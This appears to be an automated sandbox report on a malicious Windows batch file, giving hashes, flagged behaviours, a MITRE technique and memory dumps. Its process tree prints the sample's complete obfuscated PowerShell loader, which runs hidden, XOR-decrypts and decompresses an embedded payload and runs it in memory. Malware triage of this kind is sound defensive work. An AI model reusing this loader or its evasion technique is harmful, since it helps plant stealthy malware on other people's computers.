36682e454c21cf545e611f5b5de9115c164433a75b4b20e10e31c37e785c2a14

Analysis

max time kernel
30s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
18/05/2023, 05:40

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General

Target

test_bat_c/96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat
Size

3.8MB
MD5

6fc558d212f65828c274f27909e51aa7
SHA1

612487c386d838f506021ff846b47944b255a6a3
SHA256

96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7
SHA512

a9a2218f65e5c48c8906505f1da7061179e2a749c6e93146ea33badfb0d4bda04433861d144aa4decccaca2e1c4ddf0db67e749602cf1d41091c29426c8cab1c
SSDEEP

49152:2EqA3wg9X6szO4oX2nOw/YNBsXCzJtitbEbyzIBlkW1fMxpqZ8tAO3:z

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
948	96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1708	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
948	96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	948	96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 948	1708	cmd.exe	29
PID 1708 wrote to memory of 948	1708	cmd.exe	29
PID 1708 wrote to memory of 948	1708	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\test_bat_c\96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Users\Admin\AppData\Local\Temp\test_bat_c\96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe
  "96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $XLWhh = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\test_bat_c\96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat').Split([Environment]::NewLine);foreach ($WsFgo in $XLWhh) { if ($WsFgo.StartsWith(':: ')) { $JxeYG = $WsFgo.Substring(3); break; }; };$chhJU = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($JxeYG);$ZKRDr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3cgBc+XH5sweWk/CLj6TVRIWMhpkocSi4UhQ/JQ9ghE=');for ($i = 0; $i -le $chhJU.Length - 1; $i++) { $chhJU[$i] = ($chhJU[$i] -bxor $ZKRDr[$i % $ZKRDr.Length]); };$hfZVr = New-Object System.IO.MemoryStream(, $chhJU);$wXYTE = New-Object System.IO.MemoryStream;$DjQPH = New-Object System.IO.Compression.GZipStream($hfZVr, [IO.Compression.CompressionMode]::Decompress);$DjQPH.CopyTo($wXYTE);$DjQPH.Dispose();$hfZVr.Dispose();$wXYTE.Dispose();$chhJU = $wXYTE.ToArray();$ZCCzR = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($chhJU);$wjVeh = $ZCCzR.EntryPoint;$wjVeh.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:948

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\test_bat_c\96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\test_bat_c\96c2a10be0c3dbe0d46fd81787b72d26aabab425cc5b0cc317f2035f272294c7.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/948-59-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

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memory/948-60-0x0000000002700000-0x0000000002780000-memory.dmp

Filesize
512KB

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memory/948-61-0x0000000002700000-0x0000000002780000-memory.dmp

Filesize
512KB

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memory/948-62-0x0000000002700000-0x0000000002780000-memory.dmp

Filesize
512KB

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memory/948-63-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

Filesize
32KB

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memory/948-64-0x000000000270B000-0x0000000002742000-memory.dmp

Filesize
220KB

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